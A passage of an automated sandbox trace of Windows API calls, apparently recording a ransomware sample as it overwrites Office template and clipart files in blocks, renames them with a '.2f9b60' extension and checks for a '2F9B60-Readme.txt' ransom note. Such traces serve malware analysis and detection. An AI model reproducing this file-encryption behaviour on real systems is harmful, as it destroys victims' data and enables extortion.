RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x430fc8c0) returned 1 [0240.162] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b78ef80) returned 1 [0240.162] FlushFileBuffers (hFile=0x10b0) returned 1 [0240.166] CloseHandle (hObject=0x10b0) returned 1 [0242.508] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x4205de10 [0242.509] wcscpy (in: _Dest=0x4205de10, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\" [0242.509] wcscat (in: _Dest=0x4205de10, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\2F9B60-Readme.txt" [0242.509] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\2f9b60-readme.txt")) returned 0x20 [0243.541] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205de10) returned 1 [0243.541] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202789b0) returned 1 Thread: id = 1626 os_tid = 0x1ad0 [0125.394] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Assets.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\assets.accdt")) returned 0x20 [0125.394] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Assets.accdt", dwFileAttributes=0x20) returned 1 [0125.396] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Assets.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\assets.accdt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xdcc [0125.397] GetFileSizeEx (in: hFile=0xdcc, lpFileSize=0x227bf8e0 | out: lpFileSize=0x227bf8e0*=1036366) returned 1 [0125.397] SetFilePointerEx (in: hFile=0xdcc, liDistanceToMove=0xfd04a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.397] ReadFile (in: hFile=0xdcc, lpBuffer=0x227bf860, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x227bf8a8, lpOverlapped=0x0 | out: lpBuffer=0x227bf860*, lpNumberOfBytesRead=0x227bf8a8*=0x4, lpOverlapped=0x0) returned 1 [0125.399] SetFilePointerEx (in: hFile=0xdcc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.399] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a76d0 [0125.399] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6b90 [0125.399] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a65c0 [0125.399] NtQuerySystemTime (in: CurrentTime=0x227bf7a0 | out: CurrentTime=0x227bf7a0*=132462177307666000) returned 0x0 [0125.399] RtlRandomEx (in: Seed=0x227bf790 | out: Seed=0x227bf790) returned 0x35bc3c54 [0125.399] RtlRandomEx (in: Seed=0x227bf790 | out: Seed=0x227bf790) returned 0x2bd2760f [0125.399] RtlRandomEx (in: Seed=0x227bf790 | out: Seed=0x227bf790) returned 0x322bc49c [0125.399] RtlRandomEx (in: Seed=0x227bf790 | out: Seed=0x227bf790) returned 0x78a8813d [0125.399] RtlRandomEx (in: Seed=0x227bf790 | out: Seed=0x227bf790) returned 0x765d6f66 [0125.399] RtlRandomEx (in: Seed=0x227bf790 | out: Seed=0x227bf790) returned 0x7a43480 [0125.399] RtlRandomEx (in: Seed=0x227bf790 | out: Seed=0x227bf790) returned 0x7449a7a0 [0125.399] RtlRandomEx (in: Seed=0x227bf790 | out: Seed=0x227bf790) returned 0x2919ce39 [0125.399] RtlRandomEx (in: Seed=0x227bf790 | out: Seed=0x227bf790) returned 0x5ac66600 [0125.399] RtlRandomEx (in: Seed=0x227bf790 | out: Seed=0x227bf790) returned 0x520cee59 [0125.399] RtlRandomEx (in: Seed=0x227bf790 | out: Seed=0x227bf790) returned 0x41d4813d [0125.399] RtlRandomEx (in: Seed=0x227bf790 | out: Seed=0x227bf790) returned 0x12122041 [0125.399] RtlRandomEx (in: Seed=0x227bf790 | out: Seed=0x227bf790) returned 0x4e4bd0ea [0125.399] RtlRandomEx (in: Seed=0x227bf790 | out: Seed=0x227bf790) returned 0x4edf76ac [0125.399] RtlRandomEx (in: Seed=0x227bf790 | out: Seed=0x227bf790) returned 0x71efd07e [0125.399] RtlRandomEx (in: Seed=0x227bf790 | out: Seed=0x227bf790) returned 0x69d87474 [0125.399] RtlRandomEx (in: Seed=0x227bf790 | out: Seed=0x227bf790) returned 0x396596f2 [0125.399] RtlRandomEx (in: Seed=0x227bf790 | out: Seed=0x227bf790) returned 0x4a90488 [0125.399] RtlRandomEx (in: Seed=0x227bf790 | out: Seed=0x227bf790) returned 0x585dad6f [0125.399] RtlRandomEx (in: Seed=0x227bf790 | out: Seed=0x227bf790) returned 0x47047ee6 [0125.400] RtlRandomEx (in: Seed=0x227bf790 | out: Seed=0x227bf790) returned 0x763c62a3 [0125.400] RtlRandomEx (in: Seed=0x227bf790 | out: Seed=0x227bf790) returned 0x2e2b65c6 [0125.400] RtlRandomEx (in: Seed=0x227bf790 | out: Seed=0x227bf790) returned 0x14a3e6bd [0125.400] RtlRandomEx (in: Seed=0x227bf790 | out: Seed=0x227bf790) returned 0x246cdb73 [0125.400] RtlRandomEx (in: Seed=0x227bf790 | out: Seed=0x227bf790) returned 0x2d382ba2 [0125.400] RtlRandomEx (in: Seed=0x227bf790 | out: Seed=0x227bf790) returned 0x6bc891ba [0125.400] RtlRandomEx (in: Seed=0x227bf790 | out: Seed=0x227bf790) returned 0xa46dc7e [0125.400] RtlRandomEx (in: Seed=0x227bf790 | out: Seed=0x227bf790) returned 0x712a8d4a [0125.400] RtlRandomEx (in: Seed=0x227bf790 | out: Seed=0x227bf790) returned 0xa6a02ac [0125.400] RtlRandomEx (in: Seed=0x227bf790 | out: Seed=0x227bf790) returned 0x7cd8160d [0125.400] RtlRandomEx (in: Seed=0x227bf790 | out: Seed=0x227bf790) returned 0x705891a8 [0125.400] RtlRandomEx (in: Seed=0x227bf790 | out: Seed=0x227bf790) returned 0x53aa8b55 [0125.408] SetFilePointerEx (in: hFile=0xdcc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.409] ReadFile (in: hFile=0xdcc, lpBuffer=0x41b22d00, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x227bf800, lpOverlapped=0x0 | out: lpBuffer=0x41b22d00*, lpNumberOfBytesRead=0x227bf800*=0x3c00, lpOverlapped=0x0) returned 1 [0125.413] SetFilePointerEx (in: hFile=0xdcc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.413] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059880 [0125.414] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504190 [0125.414] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a76d0 [0125.414] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a76d0) returned 1 [0125.414] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41b1f0f0 [0125.414] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a76d0 [0125.414] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a65c0 [0125.414] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a65c0) returned 1 [0125.414] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504190) returned 1 [0125.414] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059880) returned 1 [0125.414] WriteFile (hFile=0xdcc, lpBuffer=0x41b1f0f0, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x227bf800, lpOverlapped=0x0) [0170.740] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b1f0f0) returned 1 [0170.740] SetFilePointerEx (in: hFile=0xdcc, liDistanceToMove=0x7f800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.740] ReadFile (in: hFile=0xdcc, lpBuffer=0x41b22d00, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x227bf800, lpOverlapped=0x0 | out: lpBuffer=0x41b22d00*, lpNumberOfBytesRead=0x227bf800*=0x3c00, lpOverlapped=0x0) returned 1 [0170.750] SetFilePointerEx (in: hFile=0xdcc, liDistanceToMove=0x7f800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.750] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c8f0 [0170.750] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869a40 [0170.750] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1c9b0 [0170.751] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1c9b0) returned 1 [0170.751] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x203af950 [0170.751] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1c9b0 [0170.751] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1c9e0 [0170.752] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1c9e0) returned 1 [0170.752] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869a40) returned 1 [0170.753] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c8f0) returned 1 [0170.753] WriteFile (in: hFile=0xdcc, lpBuffer=0x203af950*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x227bf800, lpOverlapped=0x0 | out: lpBuffer=0x203af950*, lpNumberOfBytesWritten=0x227bf800*=0x3c00, lpOverlapped=0x0) returned 1 [0187.441] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203af950) returned 1 [0187.441] SetFilePointerEx (in: hFile=0xdcc, liDistanceToMove=0xf944e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.441] ReadFile (in: hFile=0xdcc, lpBuffer=0x41b22d00, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x227bf800, lpOverlapped=0x0 | out: lpBuffer=0x41b22d00*, lpNumberOfBytesRead=0x227bf800*=0x3c00, lpOverlapped=0x0) returned 1 [0187.921] SetFilePointerEx (in: hFile=0xdcc, liDistanceToMove=0xf944e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.921] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420594c0 [0187.922] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061cb0 [0187.922] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0b90 [0187.923] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac0b90) returned 1 [0187.923] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x422479e0 [0187.923] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0b90 [0187.924] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0d70 [0187.924] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac0d70) returned 1 [0187.925] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061cb0) returned 1 [0187.925] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420594c0) returned 1 [0187.925] WriteFile (in: hFile=0xdcc, lpBuffer=0x422479e0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x227bf800, lpOverlapped=0x0 | out: lpBuffer=0x422479e0*, lpNumberOfBytesWritten=0x227bf800*=0x3c00, lpOverlapped=0x0) returned 1 [0205.404] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422479e0) returned 1 [0205.404] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x431a01d0 [0205.405] SetFilePointerEx (in: hFile=0xdcc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0205.405] WriteFile (in: hFile=0xdcc, lpBuffer=0x134520*, nNumberOfBytesToWrite=0x14a, lpNumberOfBytesWritten=0x227bf8b0, lpOverlapped=0x0 | out: lpBuffer=0x134520*, lpNumberOfBytesWritten=0x227bf8b0*=0x14a, lpOverlapped=0x0) returned 1 [0215.891] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61560 [0215.891] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebbbe0 [0215.891] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x205008f0 [0215.892] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205008f0) returned 1 [0215.892] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0215.892] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x205008f0 [0215.892] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x205008c0 [0215.893] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205008c0) returned 1 [0215.894] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebbbe0) returned 1 [0215.894] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61560) returned 1 [0215.894] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x431ac7e0 [0215.894] sprintf (in: _Dest=0x431ac7e0, _Format="%c%c" | out: _Dest="f1") returned 2 [0215.894] sprintf (in: _Dest=0x431ac7e2, _Format="%c%c" | out: _Dest="dd") returned 2 [0215.894] sprintf (in: _Dest=0x431ac7e4, _Format="%c%c" | out: _Dest="ff") returned 2 [0215.894] sprintf (in: _Dest=0x431ac7e6, _Format="%c%c" | out: _Dest="65") returned 2 [0215.894] sprintf (in: _Dest=0x431ac7e8, _Format="%c%c" | out: _Dest="35") returned 2 [0215.894] sprintf (in: _Dest=0x431ac7ea, _Format="%c%c" | out: _Dest="b2") returned 2 [0215.894] sprintf (in: _Dest=0x431ac7ec, _Format="%c%c" | out: _Dest="5f") returned 2 [0215.894] sprintf (in: _Dest=0x431ac7ee, _Format="%c%c" | out: _Dest="0e") returned 2 [0215.894] sprintf (in: _Dest=0x431ac7f0, _Format="%c%c" | out: _Dest="ff") returned 2 [0215.894] sprintf (in: _Dest=0x431ac7f2, _Format="%c%c" | out: _Dest="9c") returned 2 [0215.894] sprintf (in: _Dest=0x431ac7f4, _Format="%c%c" | out: _Dest="f4") returned 2 [0215.894] sprintf (in: _Dest=0x431ac7f6, _Format="%c%c" | out: _Dest="80") returned 2 [0215.894] sprintf (in: _Dest=0x431ac7f8, _Format="%c%c" | out: _Dest="f6") returned 2 [0215.894] sprintf (in: _Dest=0x431ac7fa, _Format="%c%c" | out: _Dest="ff") returned 2 [0215.894] sprintf (in: _Dest=0x431ac7fc, _Format="%c%c" | out: _Dest="34") returned 2 [0215.895] sprintf (in: _Dest=0x431ac7fe, _Format="%c%c" | out: _Dest="fe") returned 2 [0215.895] sprintf (in: _Dest=0x431ac800, _Format="%c%c" | out: _Dest="52") returned 2 [0215.895] sprintf (in: _Dest=0x431ac802, _Format="%c%c" | out: _Dest="d4") returned 2 [0215.895] sprintf (in: _Dest=0x431ac804, _Format="%c%c" | out: _Dest="21") returned 2 [0215.895] sprintf (in: _Dest=0x431ac806, _Format="%c%c" | out: _Dest="be") returned 2 [0215.895] sprintf (in: _Dest=0x431ac808, _Format="%c%c" | out: _Dest="63") returned 2 [0215.895] sprintf (in: _Dest=0x431ac80a, _Format="%c%c" | out: _Dest="e2") returned 2 [0215.895] sprintf (in: _Dest=0x431ac80c, _Format="%c%c" | out: _Dest="92") returned 2 [0215.895] sprintf (in: _Dest=0x431ac80e, _Format="%c%c" | out: _Dest="6d") returned 2 [0215.895] RtlInitAnsiString (in: DestinationString=0x227bf928, SourceString="f1ddff6535b25f0eff9cf480f6ff34fe52d421be63e2926d" | out: DestinationString="f1ddff6535b25f0eff9cf480f6ff34fe52d421be63e2926d") [0215.895] RtlAnsiStringToUnicodeString (in: DestinationString=0x227bf8f8, SourceString="f1ddff6535b25f0eff9cf480f6ff34fe52d421be63e2926d", AllocateDestinationString=1 | out: DestinationString="f1ddff6535b25f0eff9cf480f6ff34fe52d421be63e2926d") returned 0x0 [0215.895] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x431a0240 [0215.896] wcscat (in: _Dest=0x4318aa40, _Source="f1ddff6535b2" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\f1ddff6535b2") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\f1ddff6535b2" [0215.896] wcscat (in: _Dest=0x4318aa40, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\f1ddff6535b2.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\f1ddff6535b2.2f9b60" [0215.896] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\f1ddff6535b2.2f9b60", NtPathName=0x227bf8d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\f1ddff6535b2.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0215.896] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb6) returned 0x4312ac60 [0238.141] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4312ac60) returned 1 [0238.141] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431b58e0) returned 1 [0238.141] NtQueryInformationFile (in: FileHandle=0xdcc, IoStatusBlock=0x227bf938, FileInformation=0x227bf948, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x227bf938, FileInformation=0x227bf948) returned 0x0 [0238.141] NtSetInformationFile (FileHandle=0xdcc, IoStatusBlock=0x227bf938, FileInformation=0x227bf948, Length=0x28, FileInformationClass=0x4) returned 0x0 [0240.541] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4318aa40) returned 1 [0240.541] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431a0240) returned 1 [0240.541] FlushFileBuffers (hFile=0xdcc) returned 1 [0240.644] CloseHandle (hObject=0xdcc) returned 1 [0242.730] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x431c96c0 [0242.730] wcscpy (in: _Dest=0x431c96c0, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\" [0242.730] wcscat (in: _Dest=0x431c96c0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\2F9B60-Readme.txt" [0242.731] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\2f9b60-readme.txt")) returned 0x20 [0243.564] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431c96c0) returned 1 [0243.564] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205da50) returned 1 Thread: id = 1627 os_tid = 0x1acc [0125.395] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01637_.wmf")) returned 0x20 [0125.415] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF", dwFileAttributes=0x20) returned 1 [0125.415] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01637_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x14d4 [0125.416] GetFileSizeEx (in: hFile=0x14d4, lpFileSize=0x2233fb40 | out: lpFileSize=0x2233fb40*=3948) returned 1 [0125.416] SetFilePointerEx (in: hFile=0x14d4, liDistanceToMove=0xf68, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.416] ReadFile (in: hFile=0x14d4, lpBuffer=0x2233fac0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2233fb08, lpOverlapped=0x0 | out: lpBuffer=0x2233fac0*, lpNumberOfBytesRead=0x2233fb08*=0x4, lpOverlapped=0x0) returned 1 [0125.417] SetFilePointerEx (in: hFile=0x14d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.417] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a65c0 [0125.418] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6650 [0125.418] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6b00 [0125.418] NtQuerySystemTime (in: CurrentTime=0x2233fa00 | out: CurrentTime=0x2233fa00*=132462177307822000) returned 0x0 [0125.418] RtlRandomEx (in: Seed=0x2233f9f0 | out: Seed=0x2233f9f0) returned 0x30c14168 [0125.418] RtlRandomEx (in: Seed=0x2233f9f0 | out: Seed=0x2233f9f0) returned 0x7f64d9ea [0125.418] RtlRandomEx (in: Seed=0x2233f9f0 | out: Seed=0x2233f9f0) returned 0x38f7d216 [0125.418] RtlRandomEx (in: Seed=0x2233f9f0 | out: Seed=0x2233f9f0) returned 0x44d7bebd [0125.418] RtlRandomEx (in: Seed=0x2233f9f0 | out: Seed=0x2233f9f0) returned 0x350a4bb [0125.418] RtlRandomEx (in: Seed=0x2233f9f0 | out: Seed=0x2233f9f0) returned 0x365478e0 [0125.418] RtlRandomEx (in: Seed=0x2233f9f0 | out: Seed=0x2233f9f0) returned 0x125f6117 [0125.418] RtlRandomEx (in: Seed=0x2233f9f0 | out: Seed=0x2233f9f0) returned 0x47047ee6 [0125.418] RtlRandomEx (in: Seed=0x2233f9f0 | out: Seed=0x2233f9f0) returned 0x705891a8 [0125.418] RtlRandomEx (in: Seed=0x2233f9f0 | out: Seed=0x2233f9f0) returned 0x6d1a663f [0125.418] RtlRandomEx (in: Seed=0x2233f9f0 | out: Seed=0x2233f9f0) returned 0x2194c3b8 [0125.418] RtlRandomEx (in: Seed=0x2233f9f0 | out: Seed=0x2233f9f0) returned 0x763c62a3 [0125.418] RtlRandomEx (in: Seed=0x2233f9f0 | out: Seed=0x2233f9f0) returned 0x7af4fa51 [0125.418] RtlRandomEx (in: Seed=0x2233f9f0 | out: Seed=0x2233f9f0) returned 0x63191ce1 [0125.418] RtlRandomEx (in: Seed=0x2233f9f0 | out: Seed=0x2233f9f0) returned 0x4b9dff60 [0125.418] RtlRandomEx (in: Seed=0x2233f9f0 | out: Seed=0x2233f9f0) returned 0x4f7c3453 [0125.418] RtlRandomEx (in: Seed=0x2233f9f0 | out: Seed=0x2233f9f0) returned 0x753b4e23 [0125.418] RtlRandomEx (in: Seed=0x2233f9f0 | out: Seed=0x2233f9f0) returned 0x1e0cd3b7 [0125.418] RtlRandomEx (in: Seed=0x2233f9f0 | out: Seed=0x2233f9f0) returned 0x448bcfaa [0125.418] RtlRandomEx (in: Seed=0x2233f9f0 | out: Seed=0x2233f9f0) returned 0x210d6bde [0125.418] RtlRandomEx (in: Seed=0x2233f9f0 | out: Seed=0x2233f9f0) returned 0x6e9ce617 [0125.418] RtlRandomEx (in: Seed=0x2233f9f0 | out: Seed=0x2233f9f0) returned 0x7f6dd74a [0125.418] RtlRandomEx (in: Seed=0x2233f9f0 | out: Seed=0x2233f9f0) returned 0x6eecd308 [0125.418] RtlRandomEx (in: Seed=0x2233f9f0 | out: Seed=0x2233f9f0) returned 0x500ddfd9 [0125.418] RtlRandomEx (in: Seed=0x2233f9f0 | out: Seed=0x2233f9f0) returned 0x47b931 [0125.418] RtlRandomEx (in: Seed=0x2233f9f0 | out: Seed=0x2233f9f0) returned 0x7da7904a [0125.418] RtlRandomEx (in: Seed=0x2233f9f0 | out: Seed=0x2233f9f0) returned 0x4d65a61e [0125.418] RtlRandomEx (in: Seed=0x2233f9f0 | out: Seed=0x2233f9f0) returned 0x78ee6c77 [0125.418] RtlRandomEx (in: Seed=0x2233f9f0 | out: Seed=0x2233f9f0) returned 0x393a7a4e [0125.418] RtlRandomEx (in: Seed=0x2233f9f0 | out: Seed=0x2233f9f0) returned 0x6bc891ba [0125.418] RtlRandomEx (in: Seed=0x2233f9f0 | out: Seed=0x2233f9f0) returned 0x69e89f99 [0125.418] RtlRandomEx (in: Seed=0x2233f9f0 | out: Seed=0x2233f9f0) returned 0x51b46f9d [0125.425] ReadFile (in: hFile=0x14d4, lpBuffer=0x41b3d170, nNumberOfBytesToRead=0xf6c, lpNumberOfBytesRead=0x2233f9f0, lpOverlapped=0x0 | out: lpBuffer=0x41b3d170*, lpNumberOfBytesRead=0x2233f9f0*=0xf6c, lpOverlapped=0x0) returned 1 [0125.426] SetFilePointerEx (in: hFile=0x14d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.426] WriteFile (in: hFile=0x14d4, lpBuffer=0x41b40d80*, nNumberOfBytesToWrite=0xf6c, lpNumberOfBytesWritten=0x2233f9f4, lpOverlapped=0x0 | out: lpBuffer=0x41b40d80*, lpNumberOfBytesWritten=0x2233f9f4*=0xf6c, lpOverlapped=0x0) returned 1 [0125.430] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a65c0 [0125.430] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6b00 [0125.430] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6b00) returned 1 [0125.430] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b40d80) returned 1 [0125.430] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b3d170) returned 1 [0125.430] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504190) returned 1 [0125.430] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059880) returned 1 [0125.430] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202a6b00 [0125.431] SetFilePointerEx (in: hFile=0x14d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0125.431] WriteFile (in: hFile=0x14d4, lpBuffer=0x167040*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2233fb10, lpOverlapped=0x0 | out: lpBuffer=0x167040*, lpNumberOfBytesWritten=0x2233fb10*=0x10a, lpOverlapped=0x0) returned 1 [0125.433] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059880 [0125.434] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504190 [0125.434] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7520 [0125.434] RtlFreeHeap 